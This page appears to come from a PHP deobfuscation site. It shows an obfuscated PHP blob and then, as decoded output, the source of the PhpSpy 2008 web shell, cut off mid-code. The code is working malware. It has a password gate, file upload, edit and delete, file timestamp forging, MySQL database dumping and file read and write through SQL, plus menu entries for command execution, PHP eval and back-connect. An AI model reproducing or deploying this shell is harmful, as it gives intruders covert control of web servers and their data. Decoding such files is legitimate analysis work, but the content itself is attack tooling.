Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0);$_F=__FILE__;$_X="Pz48P3A5cCAkX0Y9X19GSUxFX187JF9YPSdQejUzUDhCbzZ..
Decoded Output download
?><?php
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname('index.php')).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);
foreach(array('_GET','_POST') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != '_') {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}
/*===================== 程序配置 =====================*/
$admin = array();
// 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
$admin['check'] = true;
// 如果需要密码验证,请修改登陆密码
$admin['pass'] = 'fuckthatASS';
//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
// cookie 前缀
$admin['cookiepre'] = '';
// cookie 作用域
$admin['cookiedomain'] = '';
// cookie 作用路径
$admin['cookiepath'] = '/';
// cookie 有效期
$admin['cookielife'] = 86400;
/*===================== 配置结束 =====================*/
if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
header("content-Type: text/html; charset=iso-8859-2");
}
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== 身份验证 =====================*/
if ($action == "logout") {
scookie('phpspypass', '', -86400 * 365);
p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
exit;
}
if($admin['check']) {
if ($doing == 'login') {
if ($admin['pass'] == $password) {
scookie('phpspypass', $password);
p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
exit;
}
}
if ($_COOKIE['phpspypass']) {
if ($_COOKIE['phpspypass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== 验证结束 =====================*/
$errmsg = '';
// 查看PHPINFO
if ($action == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
} else {
$errmsg = 'phpinfo() function has non-permissible';
}
}
// 下载文件
if ($doing == 'downfile' && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$fileinfo = pathinfo($thefile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header('Content-Length: '.filesize($thefile));
@readfile($thefile);
exit;
}
}
// 直接下载备份数据库
if ($doing == 'backupmysql' && !$saveasfile) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
$result = q("SHOW tables");
if (!$result) p('<h2>'.mysql_error().'</h2>');
$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata .= sqldumptable($currow[0]);
}
}
mysql_close();
exit;
}
// 通过MYSQL下载文件
if($doing=='mysqldown'){
if (!$dbname) {
$errmsg = 'Please input dbname';
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$result = q("select load_file('$mysqldlfile');");
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = 'Load file failed '.mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header("Accept-Length: ".strlen($row[0]));
echo $row[0];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$('goaction').action.value=act;
$('goaction').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head">
<td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
</tr>
<tr class="alt1">
<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
<a href="javascript:goaction('logout');">Logout</a> |
<a href="javascript:goaction('file');">File Manager</a> |
<a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
<a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
<a href="javascript:goaction('shell');">Execute Command</a> |
<a href="javascript:goaction('phpenv');">PHP Variable</a> |
<a href="javascript:goaction('eval');">Eval PHP Code</a>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
// 获取当前路径
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
$dir = $dir.'/';
}
$uedir = ue($dir);
if (!$action || $action == 'file') {
// 判断读写情况
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
// 删除目录
if ($doing == 'deldir' && $thefile) {
if (!file_exists($thefile)) {
m($thefile.' directory does not exist');
} else {
m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
}
}
// 创建目录
elseif ($newdirname) {
$mkdirs = $nowpath.$newdirname;
if (file_exists($mkdirs)) {
m('Directory has already existed');
} else {
m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
@chmod($mkdirs,0777);
}
}
// 上传文件
elseif ($doupfile) {
m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
}
// 编辑文件
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,'w');
m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
@fclose($fp);
}
// 编辑文件属性
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('The original file does not exist');
} else {
$newperm = base_convert($newperm,8,10);
m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
}
}
// 改名
elseif ($oldname && $newfilename) {
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.' has already existed or original file does not exist');
} else {
m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
}
}
// 复制文件
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('The goal file has already existed or original file does not exist');
} else {
m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
}
}
// 克隆时间
elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m('The goal file has already existed or original file does not exist');
} else {
$time = @filemtime($tarfile);
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// 自定义时间
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile).' does not exist');
} else {
$time = strtotime("$year-$month-$day $hour:$minute:$second");
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// 打包下载
elseif($doing == 'downrar') {
if ($dl) {
$dfiles='';
foreach ($dl as $filepath => $value) {
$dfiles.=$filepath.',';
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(',',$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header('Content-type: application/octet-stream');
header('Accept-Ranges: bytes');
header('Accept-Length: '.strlen($code));
header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
echo $code;
exit;
} else {
m('Please select file(s)');
}
}
// 批量删除文件
elseif($doing == 'delfiles') {
if ($dl) {
$dfiles='';
$succ = $fail = 0;
foreach ($dl as $filepath => $value) {
if (@unlink($filepath)) {
$succ++;
} else {
$fail++;
}
}
m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
} else {
m('Please select file(s)');
}
}
//操作完毕
formhead(array('name'=>'createdir'));
makehide('newdirname');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileperm'));
makehide('newperm');
makehide('pfile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'copyfile'));
makehide('sname');
makehide('tofile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'rename'));
makehide('oldname');
makehide('newfilename');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileopform'));
makehide('action');
makehide('opfile');
makehide('dir');
formfoot();
$free = @disk_free_space($nowpath);
!$free && $free = 0;
$all = @disk_total_space($nowpath);
!$all && $all = 0;
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){
var newdirname;
newdirname = prompt('Please input the directory name:', '');
if (!newdirname) return;
$('createdir').newdirname.value=newdirname;
$('createdir').submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
if (!newperm) return;
$('fileperm').newperm.value=newperm;
$('fileperm').pfile.value=pfile;
$('fileperm').submit();
}
function copyfile(sname){
var tofile;
tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
if (!tofile) return;
$('copyfile').tofile.value=tofile;
$('copyfile').sname.value=sname;
$('copyfile').submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
if (!newfilename) return;
$('rename').newfilename.value=newfilename;
$('rename').oldname.value=oldname;
$('rename').submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$('filelist').doing.value=doing;
if (thefile){
$('filelist').thefile.value=thefile;
}
$('filelist').submit();
}
function createfile(nowpath){
var filename;
filename = prompt('Please input the file name:', '');
if (!filename) return;
opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$('fileopform').action.value=action;
$('fileopform').opfile.value=opfile;
$('fileopform').dir.value=dir;
$('fileopform').submit();
}
function godir(dir,view_writable){
if (view_writable) {
$('godir').view_writable.value=1;
}
$('godir').dir.value=dir;
$('godir').submit();
}
</script>
<?php
tbhead();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
if ($view_writable) {
p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
} else {
p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
}
p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
if (IS_WIN && IS_COM) {
$obj = new COM('scripting.filesystemobject');
if ($obj && is_object($obj)) {
$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
foreach($obj->Drives as $drive) {
if ($drive->DriveType == 2) {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
} else {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
}
}
}
}
p('</td></tr></form>');
p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
//查看所有可写文件和目录
$dirdata=array();
$filedata=array();
if ($view_writable) {
$dirdata = GetList($nowpath);
} else {
// 目录列表
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$filepath=$nowpath.$file;
if(@is_dir($filepath)){
$dirdb['filename']=$file;
$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$dirdb['dirchmod']=getChmod($filepath);
$dirdb['dirperm']=getPerms($filepath);
$dirdb['fileowner']=getUser($filepath);
$dirdb['dirlink']=$nowpath;
$dirdb['server_link']=$filepath;
$dirdb['client_link']=ue($filepath);
$dirdata[]=$dirdb;
} else {
$filedb['filename']=$file;
$filedb['size']=sizecount(@filesize($filepath));
$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$filedb['filechmod']=getChmod($filepath);
$filedb['fileperm']=getPerms($filepath);
$filedb['fileowner']=getUser($filepath);
$filedb['dirlink']=$nowpath;
$filedb['server_link']=$filepath;
$filedb['client_link']=ue($filepath);
$filedata[]=$filedb;
}
}// while
unset($dirdb);
unset($filedb);
@closedir($dirs);
}
@sort($dirdata);
@sort($filedata);
$dir_i = '0';
foreach($dirdata as $key => $dirdb){
if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
p('<td nowrap>'.$dirdb['mtime'].'</td>');
p('<td nowrap>--</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
p('</tr>');
$dir_i++;
} else {
if($dirdb['filename']=='..') {
p('<tr class='.bg().'>');
p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
p('</tr>');
}
}
}
p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
makehide('action','file');
makehide('thefile');
makehide('doing');
makehide('dir',$nowpath);
$file_i = '0';
foreach($filedata as $key => $filedb){
if($filedb['filename']!='..' && $filedb['filename']!='.') {
$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
p('<td nowrap>'.$filedb['mtime'].'</td>');
p('<td nowrap>'.$filedb['size'].'</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
p('<td nowrap>');
p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
p('</td></tr>');
$file_i++;
}
}
p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
p('</form></table>');
}// end dir
elseif ($action == 'sqlfile') {
if($doing=="mysqlupload"){
$file = $_FILES['uploadfile'];
$filename = $file['tmp_name'];
if (file_exists($savepath)) {
m('The goal file has already existed');
} else {
if(!$filename) {
m('Please choose a file');
} else {
$fp=@fopen($filename,'r');
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents = bin2hex($contents);
if(!$upname) $upname = $file['name'];
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$('doing').value=doing;
$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
$('mysqlfile').charset.value=$('dbinfo').charset.value;
$('mysqlfile').submit();
}
</script>
<?php
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
makehide('action','sqlfile');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBName:');
makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
p('</p>');
formfoot();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
p('<h2>Upload file</h2>');
p('<p><b>This operation the DB user must has FILE privilege</b></p>');
p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
p('<h2>Download file</h2>');
p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
makehide('dbhost');
makehide('dbport');
makehide('dbuser');
makehide('dbpass');
makehide('dbname');
makehide('charset');
makehide('doing');
makehide('action','sqlfile');
p('</form>');
}
elseif ($action == 'sqladmin') {
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
if(isset($dbhost)){
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
}
if(isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
}
if(isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
}
if(isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
}
if(isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
}
if(isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
}
if ($doing == 'backupmysql' && $saveasfile) {
if (!$table) {
m('Please choose the table');
} else {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$table = array_flip($table);
$fp = @fopen($path,'w');
if ($fp) {
$result = q('SHOW tables');
if (!$result) p('<h2>'.mysql_error().'</h2>');
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT,'',$path);
m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
mysql_close();
} else {
m('Backup failed');
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = '';
foreach($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp.$key;
$valstr .= $tmp."'".addslashes($val)."'";
$tmp = ',';
}
}
if ($keystr && $valstr) {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
}
}
if ($update && $insertsql && $base64) {
$valstr = $tmp = '';
foreach($insertsql as $key => $val) {
$valstr .= $tmp.$key."='".addslashes($val)."'";
$tmp = ',';
}
if ($valstr) {
$where = base64_decode($base64);
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
}
}
if ($doing == 'del' && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM $tablename WHERE $where";
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
}
if ($tablename && $doing == 'drop') {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
if (q("DROP TABLE $tablename")) {
m('Drop table of success');
$tablename = '';
} else {
m(mysql_error());
}
}
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Manager'));
makehide('action','sqladmin');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
</script>
<?php
//操作记录
formhead(array('name'=>'recordlist'));
makehide('doing');
makehide('action','sqladmin');
makehide('base64');
makehide('tablename');
p($dbform);
formfoot();
//选定数据库
formhead(array('name'=>'setdbname'));
makehide('action','sqladmin');
p($dbform);
if (!$dbname) {
makehide('dbname');
}
formfoot();
//选定表
formhead(array('name'=>'settable'));
makehide('action','sqladmin');
p($dbform);
makehide('tablename');
makehide('page',$page);
makehide('doing');
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if($page) {
$start_limit = ($page - 1) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
//获取数据库信息
$mysqlver = mysql_get_server_info();
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$highver = $mysqlver > '4.1' ? 1 : 0;
//获取数据库
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
while($db = mysql_fetch_array($query)) {
$dbs[$db['Database']] = $db['Database'];
}
makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
$tabledb = array();
if ($dbname) {
p('<p>');
p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
if ($tablename) {
p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
}
p('</p>');
mysql_select_db($dbname);
$getnumsql = '';
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p('<form action="'.$self.'" method="POST">');
p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
makehide('tablename', $tablename);
makehide('action','sqladmin');
p($dbform);
p('</form>');
if ($tablename || ($runquery && $sql_query)) {
if ($doing == 'structure') {
$result = q("SHOW COLUMNS FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
